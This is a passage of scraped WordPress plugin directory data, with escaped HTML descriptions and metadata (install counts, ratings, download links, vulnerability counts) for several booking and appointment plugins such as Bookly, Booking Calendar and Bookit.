href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fpricing?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Pro Features\u003C\u002Fa> (Bookly Pro add-on required) |\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fadd-ons?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Add-ons\u003C\u002Fa> (Bookly Pro add-on required) | \u003Ca href=\"https:\u002F\u002Fsupport.booking-wp-plugin.com\u002Fhc\u002Fen-us?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Help Center\u003C\u002Fa>  | \u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fdemo\u002Ffree\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>1. Benefits for the customers\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Online Scheduling\u003C\u002Fstrong> with Bookly couldn’t be any \u003Cstrong>easier for your customers\u003C\u002Fstrong>. The \u003Cstrong>booking form\u003C\u002Fstrong> is perfectly \u003Cstrong>responsive\u003C\u002Fstrong> on any device, and all that customers need to do is pick their desired service and time, provide you with a few personal details, and voilà – it’s done! Your customers will receive an email or \u003Cstrong>SMS notification\u003C\u002Fstrong> before the appointment, and it will be automatically added to your \u003Cstrong>Appointment Booking Calendar\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>1.1 When you install Bookly on your website, your customers will be able to:\u003C\u002Fh3>\n\u003Cp>– quickly \u003Cstrong>schedule\u003C\u002Fstrong> and \u003Cstrong>book appointment\u003C\u002Fstrong> without having to directly contact you or your employee;\u003Cbr \u002F>\n– make a booking  on \u003Cstrong>any device\u003C\u002Fstrong>, since Bookly design is fully responsive;\u003Cbr \u002F>\n– \u003Cstrong>select\u003C\u002Fstrong> the \u003Cstrong>category\u003C\u002Fstrong>, the \u003Cstrong>service\u003C\u002Fstrong>, and \u003Cstrong>employee\u003C\u002Fstrong> to perform the service;\u003Cbr \u002F>\n– \u003Cstrong>define the dates\u003C\u002Fstrong> and time that work best for them and the booking system will offer only available time slots;\u003Cbr \u002F>\n– fill in the \u003Cstrong>minimum\u003C\u002Fstrong> amount of \u003Cstrong>contact details\u003C\u002Fstrong>;\u003Cbr \u002F>\n– get an \u003Cstrong>email and SMS notification\u003C\u002Fstrong> confirming their online reservations;\u003Cbr \u002F>\n– \u003Cstrong>get SMS reminder\u003C\u002Fstrong> about an upcoming appointment.\u003C\u002Fp>\n\u003Ch3>1.2 Bookly Key Benefits\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Saves time\u003C\u002Fstrong> – no action necessary after booking is confirmed\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Friendly booking interface\u003C\u002Fstrong> – easy navigation\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Minimal data\u003C\u002Fstrong> input \u003Cstrong>required\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Responsive booking form\u003C\u002Fstrong> – works on any device\u003C\u002Fli>\n\u003Cli>Never forget a booked appointment with \u003Cstrong>SMS and email notifications\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>2. Benefits for the business owner\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>No coding experience\u003C\u002Fstrong> required to set up Bookly. We did our best to make it as \u003Cstrong>easy and quick\u003C\u002Fstrong> as possible to install and \u003Cstrong>start using Bookly free\u003C\u002Fstrong> scheduling software on your WordPress website. And with our \u003Cstrong>Bookly Pro add-on\u003C\u002Fstrong> and other add-ons, you will bring \u003Cstrong>online scheduling\u003C\u002Fstrong> experience for you and your customers to the \u003Cstrong>next level\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You will be able to navigate the \u003Cstrong>Booking Admin Panel\u003C\u002Fstrong> like a pro, \u003Cstrong>approve\u003C\u002Fstrong> and \u003Cstrong>adjust\u003C\u002Fstrong> your appointments, and \u003Cstrong>automate your online scheduling\u003C\u002Fstrong> to concentrate on the most important part of your business – serving your customers and \u003Cstrong>grow sales\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You can change the \u003Cstrong>layout\u003C\u002Fstrong> and \u003Cstrong>modify the appearance\u003C\u002Fstrong> of the booking form to match your business, website, and branding, manage your services and the customers’ list and send \u003Cstrong>email\u003C\u002Fstrong> and \u003Cstrong>SMS notifications\u003C\u002Fstrong> – all in one place.\u003C\u002Fp>\n\u003Ch3>You can use a wide range of Bookly features to configure your Appointment Scheduler and manage your bookings effectively:\u003C\u002Fh3>\n\u003Cp>– easily and effectively manage your \u003Cstrong>Customer list\u003C\u002Fstrong> and \u003Cstrong>Appointment Calendar\u003C\u002Fstrong> online from the Admin panel;\u003Cbr \u002F>\n– add an \u003Cstrong>unlimited number of clients\u003C\u002Fstrong> to your searchable and sortable Customer list;\u003Cbr \u002F>\n– add \u003Cstrong>new customer\u003C\u002Fstrong> directly from the \u003Cstrong>calendar\u003C\u002Fstrong>;\u003Cbr \u002F>\n– setup and customize \u003Cstrong>SMS settings\u003C\u002Fstrong> right from Bookly backend;\u003Cbr \u002F>\n– \u003Cstrong>notify customers\u003C\u002Fstrong> and a service provider about approved, pending and canceled appointments via \u003Cstrong>SMS\u003C\u002Fstrong> and \u003Cstrong>Email\u003C\u002Fstrong> notifications;\u003Cbr \u002F>\n– view \u003Cstrong>calendar\u003C\u002Fstrong> in monthly\u002Fweekly\u002Fdaily \u003Cstrong>format\u003C\u002Fstrong>;\u003Cbr \u002F>\n– filter, search and sort \u003Cstrong>booking list\u003C\u002Fstrong>;\u003Cbr \u002F>\n– automatically approve or cancel \u003Cstrong>appointments\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>Configure the booking form to suit your needs:\u003C\u002Fh3>\n\u003Cp>– \u003Cstrong>customize every step\u003C\u002Fstrong> of your booking form, including editable headings, texts, and buttons;\u003Cbr \u002F>\n– translate all user interface and notifications into \u003Cstrong>40+ languages via WPML plugin\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>add\u003C\u002Fstrong> as many \u003Cstrong>booking forms\u003C\u002Fstrong> on your website as you want;\u003Cbr \u002F>\n– show or hide specific fields if you don’t want them to be visible to your customers;\u003Cbr \u002F>\n– use pre-defined default values for \u003Cstrong>Category\u003C\u002Fstrong>, \u003Cstrong>Service\u003C\u002Fstrong> and \u003Cstrong>Employee\u003C\u002Fstrong> fields in your \u003Cstrong>booking form\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>choose\u003C\u002Fstrong> the way your customers will see your \u003Cstrong>booking form\u003C\u002Fstrong> on the front-end (e.g., show or hide the calendar, show each day in one column, display blocked time slots);\u003Cbr \u002F>\n– display available \u003Cstrong>time slots\u003C\u002Fstrong> in the client’s \u003Cstrong>time zone\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>set duration\u003C\u002Fstrong> for each \u003Cstrong>service\u003C\u002Fstrong> separately;\u003Cbr \u002F>\n– choose an individual color for each service in order to color code appointments internally in your \u003Cstrong>Appointment Booking Calendar\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>organize services\u003C\u002Fstrong> into \u003Cstrong>categories\u003C\u002Fstrong> (you can add up to five services with the free version of Bookly);\u003C\u002Fp>\n\u003Ch3>2.1 Key Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Fast online booking\u003C\u002Fstrong> with intuitively manageable forms\u003C\u002Fli>\n\u003Cli>The fully \u003Cstrong>customizable appearance\u003C\u002Fstrong> of the booking form with no coding involved\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited number of booking forms\u003C\u002Fstrong> on your site\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Comprehensive admin area\u003C\u002Fstrong> with an intuitive interface\u003C\u002Fli>\n\u003Cli>Monthly\u002Fweekly\u002Fdaily \u003Cstrong>calendar view\u003C\u002Fstrong> for the service provider\u003C\u002Fli>\n\u003Cli>Manageable \u003Cstrong>list of your customers\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Filterable, sortable and searchable \u003Cstrong>booking list\u003C\u002Fstrong> of your customers\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Variable duration\u003C\u002Fstrong> for each \u003Cstrong>service\u003C\u002Fstrong> (5 min – 7 days)\u003C\u002Fli>\n\u003Cli>Services grouped into \u003Cstrong>categories\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Customizable \u003Cstrong>SMS\u003C\u002Fstrong> and \u003Cstrong>email notifications settings\u003C\u002Fstrong> right from the Bookly backend\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WPML integration\u003C\u002Fstrong> for multi-language support\u003C\u002Fli>\n\u003Cli>Automated \u003Cstrong>SMS Mailing Campaigns\u003C\u002Fstrong> for various marketing purposes\u003C\u002Fli>\n\u003Cli>Blocks for Elementor and Gutenberg\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>3. Bookly Pro add-on features:\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Bookly Pro\u003C\u002Fstrong> add-on allows you to use more features and settings, install other add-ons for Bookly, includes six months of customer support, and provides you with advanced capabilities for automating your \u003Cstrong>online scheduling system\u003C\u002Fstrong>. Some of them include:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Unlimited\u003C\u002Fstrong> number of \u003Cstrong>staff members\u003C\u002Fstrong> with an individual working schedule and ability to manage their profiles and online booking calendar\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited\u003C\u002Fstrong> number of \u003Cstrong>services\u003C\u002Fstrong> with additional settings (padding time, visibility, limitations, etc.)\u003C\u002Fli>\n\u003Cli>Ability to receive secure and flexible \u003Cstrong>online payments\u003C\u002Fstrong> on your website\u003C\u002Fli>\n\u003Cli>Online payment processing with PayPal, Stripe, 2Checkout, Authorize.Net, Mollie, Payson, PayUbiz, PayU Latam\u003C\u002Fli>\n\u003Cli>Additional \u003Cstrong>templates\u003C\u002Fstrong> for \u003Cstrong>Email notifications\u003C\u002Fstrong> (e.g., reminders about upcoming appointments, follow-up messages, birthday greetings, next day agenda, etc.)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Advanced\u003C\u002Fstrong> features for customizing your \u003Cstrong>online booking form\u003C\u002Fstrong> (show address fields, birthday fields, Facebook login, timezone switcher)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google Calendar\u003C\u002Fstrong> integration\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce\u003C\u002Fstrong> compatibility\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Importable and exportable customer list\u003C\u002Fstrong> which includes info about appointments and payments\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Built-in analytics\u003C\u002Fstrong> so you will be able to see a comprehensive report about the number of bookings, customers and payments received\u003C\u002Fli>\n\u003Cli>Integration with \u003Cstrong>Zoom\u003C\u002Fstrong>, \u003Cstrong>Google Meet\u003C\u002Fstrong> and \u003Cstrong>Jitsi\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Mailchimp\u003C\u002Fstrong> integration (via add-on)\u003C\u002Fli>\n\u003Cli>Ability to export appointments via \u003Cstrong>ICalendar feed\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to purchase and use\u003C\u002Fstrong> dozens of \u003Cstrong>paid add-ons for deeper customization\u003C\u002Fstrong> of your booking system (group bookings, custom fields, service \u003Cstrong>extra items\u003C\u002Fstrong>, recurring appointments, deposits, \u003Cstrong>coupons\u003C\u002Fstrong>, personal staff cabinet and user account for your clients, \u003Cstrong>automatic invoicing\u003C\u002Fstrong>, waiting list, and much \u003Cstrong>more!\u003C\u002Fstrong>)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>4. Who can benefit from using Bookly:\u003C\u002Fh3>\n\u003Cp>Bookly for WordPress is designed to be used by \u003Cstrong>local businesses\u003C\u002Fstrong> or \u003Cstrong>individual providers\u003C\u002Fstrong> who offer different services to customers. Since the \u003Cstrong>booking form\u003C\u002Fstrong> can be \u003Cstrong>fully customized\u003C\u002Fstrong> and \u003Cstrong>personalized\u003C\u002Fstrong>, it is \u003Cstrong>successfully used\u003C\u002Fstrong> in many business segments such as \u003Cstrong>Healthcare\u003C\u002Fstrong>, \u003Cstrong>Beauty\u003C\u002Fstrong>, \u003Cstrong>Education\u003C\u002Fstrong>, \u003Cstrong>Medicine\u003C\u002Fstrong>, \u003Cstrong>Consulting\u003C\u002Fstrong> etc., as well as by individual professionals.\u003C\u002Fp>\n\u003Cp>Also, Bookly is an excellent solution for \u003Cstrong>web studios\u003C\u002Fstrong> and \u003Cstrong>developers\u003C\u002Fstrong>, who are looking for ways to improve the \u003Cstrong>appointment process\u003C\u002Fstrong> for their \u003Cstrong>customers\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>Online scheduling for:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Salon & Beauty\u003C\u002Fstrong> (hair salons, nail salons, cosmetology centers, tanning studios, barbershops)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Health and wellness\u003C\u002Fstrong> (wellness, spa & massage, aromatherapy, baths)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Medicine\u003C\u002Fstrong> (clinics, doctors, dentists, medical centers)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Education\u003C\u002Fstrong> (education centers, tutors, language schools, private lessons)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Fitness & Gyms\u003C\u002Fstrong> (yoga classes, personal trainers, health clubs, fitness centers, dance instructors)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Professional services\u003C\u002Fstrong> (coaches, consultants, lawyers, photographers, consulting psychologist, cleaning services)\u003C\u002Fli>\n\u003Cli>or any \u003Cstrong>other services\u003C\u002Fstrong> which can be scheduled and reserved \u003Cstrong>online\u003C\u002Fstrong> using the booking system.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>FURTHER READING\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Online Scheduling plugin\u003C\u002Fa> official page\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupport.booking-wp-plugin.com\u002Fhc\u002Fen-us?utm_source=WP_ORG&utm_medium=cpc&utm_campaign=wp_further_reading\" rel=\"nofollow ugc\">Help center\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fdemo\u002Ffree\u002F?utm_campaign=wp_furtherreading&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdemo.booking-wp-plugin.com\u002F?utm_campaign=wp_furtherreading&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Pro add-on demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fadd-ons?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Add-ons for Bookly Pro\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fyoutube.com\u002Fc\u002FBookly?utm_source=WP_ORG&utm_medium=cpc&utm_campaign=wp_further_reading\" rel=\"nofollow ugc\">Youtube channel\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>AFTER ACTIVATION\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Add\u003C\u002Fstrong> at least one \u003Cstrong>service\u003C\u002Fstrong> (Bookly menu > Services).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Add a staff member\u003C\u002Fstrong> linked to your service (Bookly menu > Staff members).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customize\u003C\u002Fstrong> the appearance of your online booking form (Bookly menu > Appearance).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Publish the booking form\u003C\u002Fstrong> on your website (WordPress sidebar menu > Pages\u002FPosts).\u003C\u002Fli>\n\u003C\u002Ful>\n","Appointment booking system for WordPress — schedule appointments, manage calendars, send reminders, take payments. Start booking today!",70000,3653847,88,563,"2026-04-14T11:21:00.000Z","3.7","5.3.7",[20,116,93,21,117],"appointments","booking-system","https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_source=bookly_admin&utm_medium=plugins_page&utm_campaign=plugins_page","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookly-responsive-appointment-booking-tool.27.4.zip","2026-04-08 00:00:00",{"slug":93,"name":122,"version":123,"author":124,"author_profile":125,"description":126,"short_description":127,"active_installs":128,"downloaded":129,"rating":130,"num_ratings":131,"last_updated":132,"tested_up_to":18,"requires_at_least":17,"requires_php":133,"tags":134,"homepage":138,"download_link":139,"security_score":140,"vuln_count":141,"unpatched_count":71,"last_vuln_date":142,"fetched_at":30},"Booking Calendar","10.15.4","wpdevelop","https:\u002F\u002Fprofiles.wordpress.org\u002Fwpdevelop\u002F","\u003Ch4>Booking Calendar – Booking Plugin for Appointments, Reservations, Rentals, Events\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>WP Booking Calendar\u003C\u002Fstrong> is a flexible \u003Cstrong>WordPress booking plugin\u003C\u002Fstrong> for \u003Cstrong>appointments\u003C\u002Fstrong>, \u003Cstrong>reservations\u003C\u002Fstrong>, \u003Cstrong>rentals\u003C\u002Fstrong>, and \u003Cstrong>events\u003C\u002Fstrong>. Add a responsive \u003Cstrong>availability calendar\u003C\u002Fstrong> and \u003Cstrong>booking form\u003C\u002Fstrong> to your website, accept \u003Cstrong>online bookings\u003C\u002Fstrong>, and manage them from a modern admin panel.\u003C\u002Fp>\n\u003Cp>Use Booking Calendar for \u003Cstrong>full-day bookings\u003C\u002Fstrong>, \u003Cstrong>time-slot appointments\u003C\u002Fstrong>, service scheduling, event registration, \u003Cstrong>inquiry forms\u003C\u002Fstrong>, \u003Cstrong>request forms\u003C\u002Fstrong>, or even as a simple multi-steps \u003Cstrong>contact form\u003C\u002Fstrong> with built-in request listing and email notifications.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwpbookingcalendar.com\u002Ffeatures\u002F\" title=\"Features Overview of Booking Calendar\" rel=\"nofollow ugc\">Features\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwpbookingcalendar.com\u002Fdemo\u002F\" title=\"Live demos of premium versions\" rel=\"nofollow ugc\">See Demos\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwpbookingcalendar.com\u002Ffaq\u002F\" title=\"Booking Calendar FAQ\" rel=\"nofollow ugc\">FAQ\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwpbookingcalendar.com\u002Fsupport\u002F\" title=\"Get support for Booking Calendar plugin\" rel=\"nofollow ugc\">Get Support\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Key Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Accept \u003Cstrong>full-day\u003C\u002Fstrong> and \u003Cstrong>time-slot\u003C\u002Fstrong> bookings\u003C\u002Fli>\n\u003Cli>Show \u003Cstrong>calendar availability\u003C\u002Fstrong> on your website\u003C\u002Fli>\n\u003Cli>Create booking, contact, and inquiry forms\u003C\u002Fli>\n\u003Cli>Use the new \u003Cstrong>Drag & Drop Booking Form Builder\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Build \u003Cstrong>multi-step forms\u003C\u002Fstrong> with rows and columns\u003C\u002Fli>\n\u003Cli>Customize form fields and email notifications\u003C\u002Fli>\n\u003Cli>Prevent double bookings\u003C\u002Fli>\n\u003Cli>Manage bookings in a clear admin panel\u003C\u002Fli>\n\u003Cli>Sync bookings with external services using \u003Cstrong>.ics feeds\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Import Google Calendar events\u003C\u002Fli>\n\u003Cli>Works for properties, services, rentals, and events\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>New Drag & Drop Booking Form Builder\u003C\u002Fh4>\n\u003Cp>Create booking forms visually without manually editing complex shortcodes or form code. Simply drag fields from the sidebar, drop them into the canvas, organize them into rows and columns, edit settings in the sidebar, and preview changes instantly.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F_LRr15mcECE?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>The new builder also makes it easy to create \u003Cstrong>contact\u003C\u002Fstrong> and \u003Cstrong>inquiry forms\u003C\u002Fstrong> where the calendar is optional.\u003C\u002Fp>\n\u003Cp>With the new interface, you can:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>drag and drop fields into the form layout,\u003C\u002Fli>\n\u003Cli>organize fields into sections and columns,\u003C\u002Fli>\n\u003Cli>create multi-step form pages,\u003C\u002Fli>\n\u003Cli>resize columns for better layout control,\u003C\u002Fli>\n\u003Cli>edit field settings in the right sidebar,\u003C\u002Fli>\n\u003Cli>instantly preview the form while building.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>This new functionality brings a more modern, user-friendly, and flexible way to create forms in Booking Calendar, making form setup faster, clearer, and much more convenient for website owners.\u003C\u002Fp>\n\u003Ch4>Perfect solution for any booking logic\u003C\u002Fh4>\n\u003Cp>As the first booking system for WordPress, we have created a huge number of features to match your specific booking needs.\u003C\u002Fp>\n\u003Cp>Easily \u003Cstrong>define available dates\u003C\u002Fstrong> and allow your visitors to \u003Cstrong>reserve\u003C\u002Fstrong> your property or service for a \u003Cstrong>full day\u003C\u002Fstrong> or \u003Cstrong>time-slot\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>For those who need more advanced functionality, our premium versions offer an extensive system with \u003Cstrong>multiple resources\u003C\u002Fstrong>, \u003Cstrong>seasonal prices\u003C\u002Fstrong>, \u003Cstrong>conditional dates\u003C\u002Fstrong> selection, \u003Cstrong>availability search\u003C\u002Fstrong>, and even a \u003Cstrong>multi-user system\u003C\u002Fstrong> where users can independently manage their own availability, much like an Airbnb portal.\u003C\u002Fp>\n\u003Ch4>Booking Calendar is great for\u003C\u002Fh4>\n\u003Cp>Whether you’re renting a property or you’re a sole business owner looking to automate your service bookings, Booking Calendar can help you.\u003Cbr \u002F>\n– Resource scheduling (bed & breakfast, houses, apartments, etc.)\u003Cbr \u002F>\n– Client scheduling (photographers, lawyers, beauty salons, spas, etc.)\u003Cbr \u002F>\n– Meeting scheduling (coaching, phone advice)\u003Cbr \u002F>\n– Patient scheduling (doctor, dentists, clinic, medical)\u003Cbr \u002F>\n– Equipment rentals (yachts, boats, cars, bikes, technics, etc.)\u003Cbr \u002F>\n– Event scheduling (conference, course, fitness center, yoga class, gym)\u003Cbr \u002F>\n– Or any other service where booking for a specific time is required\u003C\u002Fp>\n\u003Ch4>Full Day Bookings – Drag and Drop Booking Form Builder\u003C\u002Fh4>\n\u003Cp>Easily configure Booking Calendar for full-day bookings with the new Drag and Drop Booking Form Builder. The new Booking Calendar Form Builder makes it much easier to create flexible booking forms without manually editing form code. It is a simple and visual way to build booking forms for different use cases directly inside WordPress.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002Fn_svjKULkc0?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Ch4>Appointment Forms with Time Slots or Start Time + Service Duration Selection\u003C\u002Fh4>\n\u003Cp>Create a time-slot booking form in just a few minutes with the new Booking Calendar Form Builder. Visually add the calendar, time fields, and contact fields, adjust the layout, and preview changes instantly — without manually editing form code.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F6hV11Cfc61Q?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Ch4>Changeover Multi-Day Bookings – Setup Wizard (Pro)\u003C\u002Fh4>\n\u003Cp>Configure multi-day bookings with specific check-in and check-out days, clearly marked with diagonal or vertical lines. Perfect for bookings that require split days. \u003Cbr \u002F>\u003Cstrong>Available Pro versions\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FuCQ9JmHR8w4?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n","WP Booking Calendar plugin for full-day bookings, time-slot appointments, rentals & events. Accept bookings and inquiries with flexible contact forms",50000,4880134,94,649,"2026-03-27T08:10:00.000Z","5.6",[20,21,135,136,137],"booking-form","contact-form","reservations","https:\u002F\u002Fwpbookingcalendar.com\u002Fdemo\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooking.10.15.4.zip",82,29,"2026-02-17 00:00:00",{"slug":144,"name":145,"version":146,"author":147,"author_profile":148,"description":149,"short_description":150,"active_installs":151,"downloaded":152,"rating":153,"num_ratings":154,"last_updated":155,"tested_up_to":16,"requires_at_least":156,"requires_php":91,"tags":157,"homepage":160,"download_link":161,"security_score":13,"vuln_count":162,"unpatched_count":71,"last_vuln_date":163,"fetched_at":30},"bookit","Bookit — Booking & Appointment Calendar","2.5.4.1","StellarWP","https:\u002F\u002Fprofiles.wordpress.org\u002Fstellarwp\u002F","\u003Cp>Bookit adds an appointment booking system and event calendar to your WordPress site. You define services, staff, working hours, and prices; visitors pick a date and time and submit a booking. The plugin prevents double-booking and sends configurable email notifications.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>What you can do:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Define multiple services with duration and price; assign staff and set their working hours and days.\u003C\u002Fli>\n\u003Cli>Show availability in daily, weekly, or monthly calendar views.\u003C\u002Fli>\n\u003Cli>Place a booking form on any page via shortcode or with Elementor and WPBakery widgets.\u003C\u002Fli>\n\u003Cli>Let customers choose a service and staff, see available slots, and submit a booking (no account required unless you enable it).\u003C\u002Fli>\n\u003Cli>Receive and send email notifications for new, updated, or upcoming appointments; templates are editable in settings.\u003C\u002Fli>\n\u003Cli>Manage all appointments from the admin dashboard; optional Stripe payments in the free version.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Optional \u003Ca href=\"https:\u002F\u002Fbookitwp.com\u002Fbookit-pro\u002F\" rel=\"nofollow ugc\">BookIt Pro add-ons\u003C\u002Fa> add WooCommerce integration, Google Calendar sync, drag-and-drop custom fields, and additional payment options (e.g. PayPal). Documentation and support are available at \u003Ca href=\"https:\u002F\u002Fbookitwp.com\u002F\" rel=\"nofollow ugc\">bookitwp.com\u003C\u002Fa>.\u003C\u002Fp>\n","Appointment booking and event calendar for WordPress. Services, staff, availability, shortcodes, and email notifications. Prevents double-booking.",5000,215705,76,24,"2026-04-09T20:21:00.000Z","6.3",[20,158,93,21,159],"appointment-calendar","calendar","https:\u002F\u002Fbookitwp.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookit.2.5.4.1.zip",6,"2026-04-22 00:00:00",{"slug":21,"name":165,"version":166,"author":167,"author_profile":168,"description":169,"short_description":170,"active_installs":171,"downloaded":172,"rating":173,"num_ratings":174,"last_updated":175,"tested_up_to":16,"requires_at_least":176,"requires_php":177,"tags":178,"homepage":180,"download_link":181,"security_score":182,"vuln_count":183,"unpatched_count":28,"last_vuln_date":184,"fetched_at":30},"Booking calendar, Appointment Booking 